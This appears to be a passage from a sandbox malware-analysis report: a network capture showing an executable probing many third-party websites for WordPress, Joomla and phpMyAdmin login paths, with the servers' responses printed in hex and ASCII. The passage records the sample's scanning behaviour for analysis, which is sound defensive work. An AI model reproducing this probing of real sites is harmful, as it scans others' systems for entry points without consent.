54 6a 7a 6d 37 56 2b 48 47 37 54 35 33 70 74 73 70 46 4f 2b 2f 44 61 6f 73 53 47 76 36 44 71 74 4d 68 79 68 38 32 74 6b 68 56 33 39 57 7a 7a 4a 41 36 71 64 6b 70 6d 2b 77 6a 6e 65 50 38 77 52 49 34 50 32 6d 5a 73 37 66 4f 32 58 69 47 47 63 70 76 6f 61 72 70 61 6e 75 4b 74 45 36 58 74 63 58 38 71 6f 43 6f 45 48 59 6c 50 33 4a 2f 72 59 4a 4a 45 42 55 6b 41 58 4b 76 6e 50 44 66 6c 59 32 35 76 68 58 51 2b 70 35 41 51 44 69 66 75 49 36 4f 55 52 79 4e 69 48 73 64 49 65 6e 43 43 6d 63 78 4a 75 71 48 67 51 68 38 4e 65 54 31 43 55 7a 4e 54 53 58 6a 52 2f 79 64 78 44 74 37 79 74 78 4c 54 72 61 52 54 78 31 4b 30 52 43 74 72 2b 57 75 2f 4d 37 57 78 47 35 36 52 64 50 55 4f 33 41 47 58 47 4f 6e 56 42 75 63 35 50 53 56 72 78 64 71 38 6d 69 4d 56 78 33 55 6e 43 5a 55 44 4e 57 78 43 75 49 5a 52 6a 32 41 64 31 62 37 33 53 46 36 74 67 4c 77 62 78 75 33 70 73 3d 22 0a 7d 3b 0a 20 20 20 20 3c Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Human Verification</title> <style> body { font-family: "Arial"; } </style> <script type="text/javascript"> window.awsWafCookieDomainList = []; window.gokuProps = {"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AF4nBLbLAf4BccXvGLaFCbiAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM3jzizWi3zZeIescIAgEQgDtmTL5VZ/bAPjUZGGMvnHp5urIqdOCnCk1dWkwNldgkVFuscWvF+vV1/ryNWJmEctMV1apVSUrkc9950Q==", "iv":"CgAEcAy60ZAAAkkg", "context":"ExmmS8HLRydIESulCo30GwZbhdpFBFuBYHB0pSGmLczxUMfeM6GKz4VQOIUyTLyx9UVrKtKbx7M7yo9Tjzm7V+HG7T53ptspFO+/DaosSGv6DqtMhyh82tkhV39WzzJA6qdkpm+wjneP8wRI4P2mZs7fO2XiGGcpvoarpanuKtE6XtcX8qoCoEHYlP3J/rYJJEBUkAXKvnPDflY25vhXQ+p5AQDifuI6OURyNiHsdIenCCmcxJuqHgQh8NeT1CUzNTSXjR/ydxDt7ytxLTraRTx1K0RCtr+Wu/M7WxG56RdPUO3AGXGOnVBuc5PSVrxdq8miMVx3UnCZUDNWxCuIZRj2Ad1b73SF6tgLwbxu3ps="}; <
Nov 26, 2023 06:59:32.723386049 CET	1054	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 33 38 63 39 31 33 66 35 39 64 66 66 2e 32 64 64 32 30 38 30 66 2e 61 70 2d 73 6f 75 74 68 2d 31 2e 74 6f 6b 65 6e 2e 61 77 73 77 61 66 2e 63 6f Data Ascii: /script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.token.awswaf.com/38c913f59dff/5b5c81627d9b/f3e3dd915a24/challenge.js"></script> <script src="https://38c913f59dff.2dd2080f.ap-south-1.captcha.awswaf.com/38c913f59dff/5b5c81

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	57001	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.420530081 CET	234	OUT	GET /wp-login.php HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.538444996 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	56889	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.450685024 CET	235	OUT	GET /phpmyadmin/ HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	57024	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.450685024 CET	235	OUT	GET /administrator/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.544069052 CET	635	IN	HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://www.perrisesd.org/administrator/ X-Cache: Redirect from cloudfront Via: 1.1 076da3643179565aba2eda873738d6b6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C1 X-Amz-Cf-Id: YGUPPl1H2YU6_tp9fQT_LnntbHJwj8FDGf4ODCtCjKQWRSRSFtIhgA== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	56937	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.450992107 CET	282	OUT	GET /wp-admin/ HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://rochester-gauges.be/wp-login.php
Nov 26, 2023 06:59:32.620471954 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	56873	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.451168060 CET	234	OUT	GET /wp-login.php HTTP/1.1 Host: awb-apparatebau.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	56875	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.451313972 CET	227	OUT	GET /wp-login.php HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.656593084 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Nov 26, 2023 06:59:32.657211065 CET	266	OUT	GET /wp-admin/ HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://kappablu.de/wp-login.php
Nov 26, 2023 06:59:32.860496044 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	57028	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.495712042 CET	232	OUT	GET /wp-login.php HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.826455116 CET	533	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: MISS Vary: Accept-Encoding Set-Cookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000; path=/; domain=.tradeavenida.com; HttpOnly Server: cloudflare CF-RAY: 82bfe7ec5ee438a4-IAD Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Nov 26, 2023 06:59:32.826492071 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 26, 2023 06:59:32.925390005 CET	363	OUT	GET /wp-admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tradeavenida.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	57011	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.495974064 CET	247	OUT	GET /administrator HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.804783106 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-cache, private Date: Sun, 26 Nov 2023 05:59:32 GMT Set-Cookie: publishedsite-xsrf=eyJpdiI6InZhbDJwVnlLUWhubGJIVTRxS1RyS3c9PSIsInZhbHVlIjoibEtHV0dCVjhVZFFxdXVPckRoandqSmJIM2VpRWo3WkE2ejZGY2pQbU5MVDEyaUwxT3czZzd6T2tYUFc2WjNmYm83eGJpaCtkTnU2eW1zMmcxN3N5eHJlbjdPL1drOGwyOUw5TjhsM0k1MnBoWDhYOHJucU5VWGN6Z3lZOC9qejUiLCJtYWMiOiJkYmI0NTNiNTQ5YzNhYzUxNjUyMDM2MWNlM2QzYzYxNGMyZTJhMWY2MzYyYWNiN2JjNzQ2ODI5NzJlMjU2MGQ0IiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:32 GMT; Max-Age=1209600; path=/; samesite=lax Set-Cookie: XSRF-TOKEN=eyJpdiI6IkxXaFVUaFNtTzd2ZGkvek9mQ0hvQmc9PSIsInZhbHVlIjoiZmhtK2lrVUlvZjdVZHpFVWVmMjR6b0VFRVYwWWdxaXNkRmpTQ202R0hubjNUM2czRThCblFXTXNOVjhQNC9kdS8yMmhialBBNGtpcW05eDZ0NDJzMGFDZ2VUemRuU2dvU01pdUNUdGEwc0wvUFRqdUt3MFl6RFlkblFaTWhZQy8iLCJtYWMiOiI2ZTM3MmEwZmUyNWQ5ZDgyYTFhNWQwMDg4OWNkNTdlNmI5ZDJhZmM1MzcwMzM3NDgxZjBlNDI5MTllNTVlN2VjIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:32 GMT; Max-Age=1209600; path=/; samesite=lax Set-Cookie: PublishedSiteSession=eyJpdiI6Imo1aVN2WVJmWnBrNnZqSXJrYXFoblE9PSIsInZhbHVlIjoidVNWYlV1bDRTdmFsRnQ0anV4Zy9kK3RTUXdEQVFwV1I5OXo1Z0hKUTBWbWxoeFNDUGEwM3F0d Data Raw: Data Ascii:
Nov 26, 2023 06:59:32.804816961 CET	136	IN	Data Raw: 59 32 64 32 39 70 5a 46 5a 6f 5a 6d 35 47 51 55 6c 6f 57 55 52 49 55 57 31 53 52 55 6f 30 61 48 51 35 52 79 38 78 54 45 68 55 65 6a 52 77 59 6e 64 50 4e 56 6c 47 53 44 64 74 62 58 5a 4d 55 6b 78 56 62 6a 63 77 4e 6d 78 51 54 56 70 4b 53 6e 56 31 Data Ascii: Y2d29pZFZoZm5GQUloWURIUW1SRUo0aHQ5Ry8xTEhUejRwYndPNVlGSDdtbXZMUkxVbjcwNmxQTVpKSnV1
Nov 26, 2023 06:59:32.804824114 CET	440	IN	Data Raw: 64 56 5a 73 51 33 42 35 61 6a 5a 6e 4f 54 6b 69 4c 43 4a 74 59 57 4d 69 4f 69 4a 6a 5a 57 55 33 4e 54 51 34 4d 57 49 77 4e 7a 55 79 4e 44 45 35 4d 44 51 33 4e 57 5a 6a 4e 47 59 33 59 6a 59 77 4d 57 4a 69 5a 6a 4d 77 4e 7a 6b 34 5a 44 5a 6d 4f 47 Data Ascii: dVZsQ3B5ajZnOTkiLCJtYWMiOiJjZWU3NTQ4MWIwNzUyNDE5MDQ3NWZjNGY3YjYwMWJiZjMwNzk4ZDZmOGU2ZjFhYTNkNzA5N2RkOTgwNzBlMmJiIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:32 GMT; Max-Age=1209600; path=/; httponly; samesite=laxX-Host: blu73.sf2p.inte
Nov 26, 2023 06:59:32.804830074 CET	686	IN	Data Raw: 32 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 85 55 db ae 9b 30 10 7c cf 57 b8 54 7d 0b 01 4a ce 89 44 49 a4 f6 a1 ea d3 51 d5 3f 30 78 09 6e 8d 8d 6c 13 92 56 fd f7 ae 21 84 4b a2 94 48 21 f2 da b3 33 bb e3 4d fa 8e a9 dc 5e 6a 20 a5 ad c4 61 95 Data Ascii: 26cU0\|WT}JDIQ?0xnlV!KH!3M^j a/"[m%>N@%_U#Y~a=gx=qk)v!n=%ciOHE2nP$Uk,)yy*o@beE EBy<tlwGA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	57041	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.547843933 CET	228	OUT	GET /wp-login.php HTTP/1.1 Host: federwild.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.734946012 CET	947	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 12 Sep 2019 15:06:38 GMT ETag: W/"3fe-5925c7bf8c9e3" Content-Encoding: gzip Data Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Nov 26, 2023 06:59:32.736623049 CET	268	OUT	GET /wp-admin/ HTTP/1.1 Host: federwild.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://federwild.at/wp-login.php
Nov 26, 2023 06:59:32.925234079 CET	947	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 12 Sep 2019 15:06:38 GMT ETag: W/"3fe-5925c7bf8c9e3" Content-Encoding: gzip Data Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	57058	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.560147047 CET	276	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://himontessori.com/wp-login.php
